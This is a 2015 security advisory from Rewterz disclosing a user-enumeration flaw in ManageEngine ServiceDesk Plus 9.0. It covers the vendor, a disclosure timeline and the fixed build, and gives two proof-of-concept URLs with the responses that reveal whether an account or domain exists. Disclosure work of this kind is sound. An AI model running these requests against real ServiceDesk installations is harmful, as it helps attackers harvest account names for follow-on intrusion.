ManageEngine ServiceDesk Plus 9.0 – User Enumeration
================================================================================ [REWTERZ-20140102] - Rewterz - Security Advisory ================================================================================ Title: ManageEngine ServiceDesk Plus User Enumeration Vulnerability Product: ServiceDesk Plus (http://www.manageengine.com/) Affected Version: 9.0 (Other versions could also be affected) Fixed Version: 9.0 Build 9031 Vulnerability Impact: Low Advisory ID: REWTERZ-20140102 Published Date: 22-Jan-2015 Researcher: Muhammad Ahmed Siddiqui Email: ahmed [at] rewterz.com URL: http://www.rewterz.com/vulnerabilities/manageengine-servicedesk-plus-user-enumeration-vulnerability ================================================================================ Product Introduction =============== ServiceDesk Plus is a help desk software with integrated asset and project management built on the ITIL framework. It is available in 29 different languages and is used by more than 85,000 companies, across 186 countries, to manage their IT help desk and assets. Source: http://www.manageengine.com/products/service-desk/ Vulnerability Information ================== Class: User Name Enumeration Impact: An unauthenticated and authenticated user can enumerate users Remotely Exploitable: Yes Authentication Required: Yes User interaction required: Yes CVE Name: N/A Vulnerability Description =================== An unauthenticated and authenticated user can enumerate all the users and domains on the system by sending a simple request to URL. Proof-of-Concept Authenticated User ============================ An attacker can use the following URL to enumerate users and domains by accessing the following URL: http:// 127.0.0.1:8080/servlet/AJaxServlet?action=checkUser&search=guest Response if User is valid: { USER_PRESENT: 'true', IN_SITE: 'true' } Response if User is invalid: { USER_PRESENT: 'false', ADD_REQUESTER: 'false' } Proof-of-Concept Unauthenticated User ============================== An attacker can use the following URL to enumerate users and domains by accessing the following URL: http://127.0.0.1:8080/domainServlet/AJaxDomainServlet?action=searchLocalAuthDomain&search=100101 If the user in the Search Parameter is found the response will contain the domain name in which that particular user exists. Timeline ======= 23-Dec-2014 – Notification to Vendor 24-Dec-2014 – Response from Vendor 30-Dec-2014 – Vulnerability fixed by Vendor About Rewterz ============ Rewterz is a boutique Information Security company, committed to consistently providing world class professional security services. Our strategy revolves around the need to provide round-the-clock quality information security services and solutions to our customers. We maintain this standard through our highly skilled and professional team, and custom-designed, customer-centric services and products. http://www.rewterz.com Complete list of vulnerability advisories published by Rewterz: http://www.rewterz.com/resources/security-advisories |